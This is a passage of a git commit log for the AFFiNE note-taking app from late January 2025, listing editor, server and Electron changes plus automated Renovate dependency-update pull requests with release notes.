Saul-Mirone
f3f6e8c6ac refactor(editor): remove attachment and image block service (#9909) 2025-01-28 20:53:23 +00:00
Saul-Mirone
9c65c42d64 chore(editor): cleanup dead code (#9904) 2025-01-27 17:06:42 +00:00
Saul-Mirone
17bf75e843 refactor(editor): remove dependency of command global types (#9903)
Closes: [BS-2216](https://linear.app/affine-design/issue/BS-2216/remove-global-types-in-command)
2025-01-27 12:28:46 +00:00
pengx17
4b549e0484 fix(electron): optimize find in page in electron (2) (#9901)
1. find in page should have higher z-index than other modals
2. fix focused texts are not automatically being used as the default input value for searching
2025-01-27 07:58:16 +00:00
pengx17
ffbec1633e fix(electron): optimize find in page in electron (#9900)
fix AF-2168
When using find in page (cmd+f) in electron, the popup should not prevent the user from interacting with the main content.
Also fixed some minor ui issues
2025-01-27 07:19:12 +00:00
Oleg
e3fac97b9b fix(web): minor bug fixes (#9696)
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-01-27 14:21:41 +09:00
doouding
73b4437081 chore: dnd cleanup (#9899) 2025-01-27 04:29:14 +00:00
fundon
ffd54c6620 refactor(editor): use selected signal in block component (#9849) 2025-01-27 02:56:10 +00:00
pengx17
a5c8356376 chore(electron): split view tracking events (#9896)
fix AF-2037
2025-01-27 02:40:08 +00:00
Saul-Mirone
d6bfb761fe fix(editor): typecheck for tests and playground (#9897) 2025-01-27 02:00:09 +00:00
renovate
6c8edb160c chore: bump up oxlint version to v0.15.8 (#9886)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.7` -> `0.15.8`](https://renovatebot.com/diffs/npm/oxlint/0.15.7/0.15.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.7/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.7/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.8`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0158---2025-01-24)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.7...oxlint_v0.15.8)

##### Features

-   [`79ba9b5`](https://redirect.github.com/oxc-project/oxc/commit/79ba9b5) linter: Added support to run in Node.JS legacy versions ([#&#8203;8648](https://redirect.github.com/oxc-project/oxc/issues/8648)) (Luiz Felipe Weber)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-26 09:00:47 +00:00
forehalo
6370f45928 feat(server): cluster level event system (#9884) 2025-01-25 14:51:03 +00:00
pengx17
0d2c2ea21e fix(core): tag input keyboard control enhancements (#9881)
fix AF-2166
2025-01-25 14:35:49 +00:00
Saul-Mirone
1858947e0c feat(editor): flat block data (#9854)
Flat block data.

A new block type to flatten the block data

```typescript
// For developers
type Model = {
  blocks: Record<string, {
    flavour: string;
    cells: Record<string, {
      rowId: string;
      colId: string;
      text: Text;
    }>;
    cols: Record<string, {
      align: string;
    }>
    rows: Record<string, {
      backgroundColor: string;
    }>
  }>
}

// How it's saved in yjs
const yData = {
  blocks: {
    'blockId1': {
      flavour: 'affine:table',
      'prop:rows:row1:backgroundColor': 'white',
      'prop:cols:col1:align': 'left',
      'prop:cells:cell1:rowId': 'row1',
      'prop:cells:cell1:colId': 'col1',
      'prop:cells:cell1:text': YText,
      prop:children: []
    },
  }
}
```
2025-01-25 12:57:21 +00:00
forehalo
9c5375ca06 chore: generate repo meta 2025-01-25 15:24:00 +08:00
L-Sun
829980bace refactor(editor): toc dragging with std.dnd (#9883)
Close [BS-2458](https://linear.app/affine-design/issue/BS-2458/toc-dnd重构)

### What Changes
- Refactor toc note card dnd with `std.dnd`
- Extract note display mode change to command `changeNoteDisplayMode`
  - It will reorder notes when the display mode changed from `EdgelessOnly` to page mode visible (a.k.a `DocOnly` or `Both`)
2025-01-24 13:27:17 +00:00
L-Sun
351816b343 fix(editor): prevent errors when moving a block to its own position (#9887) 2025-01-24 12:55:55 +00:00
donteatfriedrice
4b553d153a feat(core): update chat error style (#9885)
[BS-2487](https://linear.app/affine-design/issue/BS-2487/报错样式更新)
2025-01-24 12:39:10 +00:00
zzj3720
5a5779c05a feat(editor): simple table block (#9740)
close: BS-2122, BS-2125, BS-2124, BS-2420, PD-2073, BS-2126, BS-2469, BS-2470, BS-2478, BS-2471
2025-01-24 10:07:57 +00:00
L-Sun
3f4311ff1c chore(editor): add RTL experiement flag for editor (#9882) 2025-01-24 08:23:24 +00:00
pengx17
791484a46c fix(core): some style issues (#9875)
fix AF-2158, AF-2159

It seems the input hack for modal is no longer needed
2025-01-24 05:06:59 +00:00
pengx17
699da97879 chore(electron): speed up electron tests (#9871) 2025-01-24 04:52:26 +00:00
pengx17
6a74107010 fix(core): some storage setting enhancements (#9877)
fix AF-2157, AF-2155, AF-2156
1. add shift selection for grid blob card
2. various style issues
3. unused blobs list will also wait for workspace syncing
2025-01-24 04:35:54 +00:00
donteatfriedrice
c0eb735890 fix(core): extract text blocks markdown from doc (#9879)
[AF-2162](https://linear.app/affine-design/issue/AF-2162/ai-提取-markdown-内容不完整)
2025-01-24 04:18:53 +00:00
akumatus
95cf2e047f feat(core): cite source documents in the AI answer (#9863)
Support issue [BS-2424](https://linear.app/affine-design/issue/BS-2424).

### What changed?
- Add relevant document prompt templates.
- Add citation rules in system prompts.
- Change message `params` type to `Record<string, any>`
- Add unit test.

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">录屏2025-01-23 10.40.38.mov</video>
2025-01-24 04:04:01 +00:00
pengx17
48c26017ae fix(core): database properties in info flickering issue (#9872)
fix af-2123
2025-01-24 03:46:24 +00:00
L-Sun
79fe687b1a fix(editor): render title in page block header using DocDisplayMetaService (#9878)
https://github.com/user-attachments/assets/24490a58-ef66-404a-b9cd-1e94d84c6f58
2025-01-23 12:51:55 +00:00
doodlewind
872a578bf7 refactor(editor): move zod schema with model for non surface blocks (#9876) 2025-01-23 10:57:49 +00:00
L-Sun
d6cfbec5c9 chore(editor): update notification message of change display mode of doc (#9874) 2025-01-23 10:40:24 +00:00
donteatfriedrice
bdc8dd8d5f feat(editor): add link preview to footnote popup (#9869)
[BS-2399](https://linear.app/affine-design/issue/BS-2399/ai-link-的预览支持:获取-fav-icon-标题)
2025-01-23 09:31:21 +00:00
L-Sun
02bcecde72 refactor(editor): simplify TOC implementation with signal and context (#9873)
### What Changes
1. Used `@preact/signal` and `@lit/context` to simplify repetitive passing of properties of TOC components,
2. Fixed TOC invalid when editor changed, such as click new page button.
2025-01-23 17:01:04 +08:00
L-Sun
1b0758f111 refactor(editor): remove hard code icons from presets (#9857)
Related [BS-2240](https://linear.app/affine-design/issue/BS-2240/清理重复的icon)
2025-01-23 08:34:54 +00:00
forehalo
85434fe309 feat(server): search user in workspace (#9870) 2025-01-23 08:09:17 +00:00
fengmk2
2088b760bf refactor(server): rename tx to db (#9867) 2025-01-23 07:52:45 +00:00
pengx17
6ac6a8d6d6 feat(core): unused blob management in settings (#9795)
fix AF-2144, PD-2064, PD-2065, PD-2066
2025-01-23 07:12:17 +00:00
fengmk2
8021b89944 fix(server): use ClsInterceptor on websocket (#9859)
https://papooch.github.io/nestjs-cls/considerations/compatibility#websockets
2025-01-23 06:54:23 +00:00
fengmk2
d52d03e1cd refactor(server): print magic link on local dev env (#9864) 2025-01-23 03:39:32 +00:00
EYHN
876d4d9c94 fix(android): fix android nbstore provider (#9865) 2025-01-23 03:39:13 +00:00
CatsJuice
a16b57db48 feat(core): make sidebar others collapsible (#9862) 2025-01-23 03:17:15 +00:00
renovate
ff96a70755 chore: bump up @nestjs/throttler version to v6.4.0 (#9860)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/throttler](https://redirect.github.com/nestjs/throttler) | [`6.3.0` -> `6.4.0`](https://renovatebot.com/diffs/npm/@nestjs%2fthrottler/6.3.0/6.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fthrottler/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fthrottler/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fthrottler/6.3.0/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fthrottler/6.3.0/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/throttler (@&#8203;nestjs/throttler)</summary>

### [`v6.4.0`](https://redirect.github.com/nestjs/throttler/blob/HEAD/CHANGELOG.md#640)

[Compare Source](https://redirect.github.com/nestjs/throttler/compare/v6.3.0...v6.4.0)

##### Minor Changes

-   [`5cb4254`](https://redirect.github.com/nestjs/throttler/commit/5cb4254): Update to allow for support for Nest version 11

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-23 02:37:43 +00:00
L-Sun
4839f0f369 refactor(editor): shadowless TOC with valilla extract css (#9856)
Close [BS-2474](https://linear.app/affine-design/issue/BS-2474/使用shadowlesselement重构toc)

This PR refactor TOC with `ShadowlessElement` and  `@valilla-extract/css`
2025-01-22 16:24:31 +00:00
pengx17
088ae0ac0a feat(electron): backup panel (#9738)
fix PD-2071, PD-2059, PD-2069, PD-2068
2025-01-22 22:52:31 +08:00
akumatus
862a9d0bc4 feat: use footnote for perplexity search results (#9851)
Support issue [BS-2475](https://linear.app/affine-design/issue/BS-2475).

![截屏2025-01-22 16.49.25.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/49febcdf-e403-4a2e-ba99-da36df34e08c.png)
2025-01-22 10:54:01 +00:00
forehalo
f8a515e89a feat(server): user feature model (#9843)
close CLOUD-108
2025-01-22 10:38:04 +00:00
forehalo
994d758c07 feat(server): support selfhost licenses (#8947) 2025-01-22 10:21:07 +00:00
doodlewind
22e424d7de test(editor): fix font style in preset tests (#9847) 2025-01-22 10:00:58 +00:00
pengx17
08f6a22d44 fix(core): linkpreview and imageproxy url should be prefixed with server url (#9838)
fix AF-2150
2025-01-22 09:31:05 +00:00
github-actions[bot]
795c5c9a8c chore(i18n): sync translations (#9846)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-22 09:16:53 +00:00
liuyi
8569ac86df fix(server): react email deps (#9850) 2025-01-22 16:50:23 +08:00
CatsJuice
f7f1a6ee11 chore(core): update oauth icons (#9796) 2025-01-22 07:49:58 +00:00
forehalo
5828eb53b6 feat(core): support one time password (#9798) 2025-01-22 07:33:10 +00:00
donteatfriedrice
bf797c7a0c feat(editor): support footnote adapter (#9844)
[BS-2373](https://linear.app/affine-design/issue/BS-2373/适配-footnote-adapter)
2025-01-22 06:42:35 +00:00
github-actions[bot]
a5025cf470 chore(i18n): sync translations (#9842)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-22 06:41:39 +00:00
Brooooooklyn
f5df67501c chore: remove deprecated dependencies (#9837) 2025-01-22 05:36:59 +00:00
pengx17
4c665594d6 fix(editor): ref on click slots should not be global (#9830)
fix AF-2129
2025-01-22 05:20:55 +00:00
pengx17
720a596559 fix(infra): increase eventemitter listener count (#9799) 2025-01-22 12:15:20 +08:00
renovate
22cddb1b87 chore: bump up nestjs (#9839)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.4` -> `2.4.5`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.4/2.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.4/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.4/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.7` -> `1.2.8`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.7/1.2.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.7/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.7/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.5`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/%40nestjs-cls/transactional%402.4.5)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.4...@nestjs-cls/transactional@2.4.5)

##### Dependencies

-   update all nestjs-related peer deps to latest (v11) ([915e797](https://redirect.github.com/Papooch/nestjs-cls/commits/915e797))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-22 03:56:27 +00:00
renovate
9fb2184a36 chore: bump up nestjs-cls version to v5 (#9840)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`^4.5.0` -> `^5.0.0`](https://renovatebot.com/diffs/npm/nestjs-cls/4.5.0/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/4.5.0/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/4.5.0/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.0.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.0.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@4.5.0...nestjs-cls@5.0.0)

##### Breaking Changes

-   The default mount point for express middleware has been changed from '\*' to '/' ([4542aba](https://redirect.github.com/Papooch/nestjs-cls/commits/4542aba))

##### Dependencies

-   update all nestjs-related peer deps to latest (v11) ([915e797](https://redirect.github.com/Papooch/nestjs-cls/commits/915e797))

##### Features

-   **core**: support NestJS 11 ([4542aba](https://redirect.github.com/Papooch/nestjs-cls/commits/4542aba))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-22 03:40:24 +00:00
pengx17
defb0de4dd feat(core): reorg workspace settings (#9718)
fix AF-2118
2025-01-22 03:11:27 +00:00
darkskygit
83ed215f4a feat(server): new email template (#9528)
use `yarn af server dev:mail` to preview all mail template
fix CLOUD-93
2025-01-22 02:55:25 +00:00
Xun Sun
2db9cc3922 fix(core): set state isLoading to false after email changing is confirmed (#9824) 2025-01-22 09:47:23 +08:00
L-Sun
29995e498a feat(editor): add start-with-ai button for empty doc (#9836)
Close [BS-2391](https://linear.app/affine-design/issue/BS-2391/bs-ai-toolbar-空状态下添加-actions-列表)

https://github.com/user-attachments/assets/cbded517-2d3d-4a75-b144-644e2b03f68a
2025-01-21 16:00:49 +00:00
pengx17
d4aeac5d35 fix(electron): split view reorder shaking (#9828)
fix AF-2097
2025-01-21 15:02:22 +00:00
renovate
b715d2648e chore: bump up shiki version to v2 (#9793)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`^1.14.1` -> `^2.0.0`](https://renovatebot.com/diffs/npm/shiki/1.29.1/2.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`^1.12.0` -> `^2.0.0`](https://renovatebot.com/diffs/npm/shiki/1.29.1/2.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v2.0.3`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.3)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.2...v2.0.3)

#####    🐞 Bug Fixes

-   **core**: Soft require `engine` options  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(10a6f)</samp>](https://redirect.github.com/shikijs/shiki/commit/10a6f781)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.2...v2.0.3)

### [`v2.0.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.2)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.1...v2.0.2)

#####    🐞 Bug Fixes

-   Mark `engine` required in `createHighlighterCore`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(1212f)</samp>](https://redirect.github.com/shikijs/shiki/commit/1212f473)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.1...v2.0.2)

### [`v2.0.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.1)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.0...v2.0.1)

#####    🚀 Features

-   Improve warning messages  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(0f27a)</samp>](https://redirect.github.com/shikijs/shiki/commit/0f27a20d)

#####    🐞 Bug Fixes

-   Warn about missing deprecation  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(708e3)</samp>](https://redirect.github.com/shikijs/shiki/commit/708e3f24)
-   **colorized-brackets**: Use object style `htmlStyle`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(eab5b)</samp>](https://redirect.github.com/shikijs/shiki/commit/eab5bd18)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.0...v2.0.1)

### [`v2.0.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.29.1...v2.0.0)

##### Read the announcement: [Shiki v2](https://shiki.style/blog/v2)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.29.1...v2.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 14:46:19 +00:00
renovate
782d3afddc chore: bump up capacitor monorepo to v7 (major) (#9809)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/android](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fandroid/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fandroid/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fandroid/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fandroid/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fandroid/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/cli](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcli/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcli/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcli/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcli/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcli/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/core](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcore/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcore/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcore/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcore/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcore/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/ios](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fios/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fios/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fios/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fios/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fios/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor (@&#8203;capacitor/android)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor/blob/HEAD/CHANGELOG.md#700-2025-01-20)

[Compare Source](https://redirect.github.com/ionic-team/capacitor/compare/6.2.0...7.0.0)

**Note:** Version bump only for package capacitor

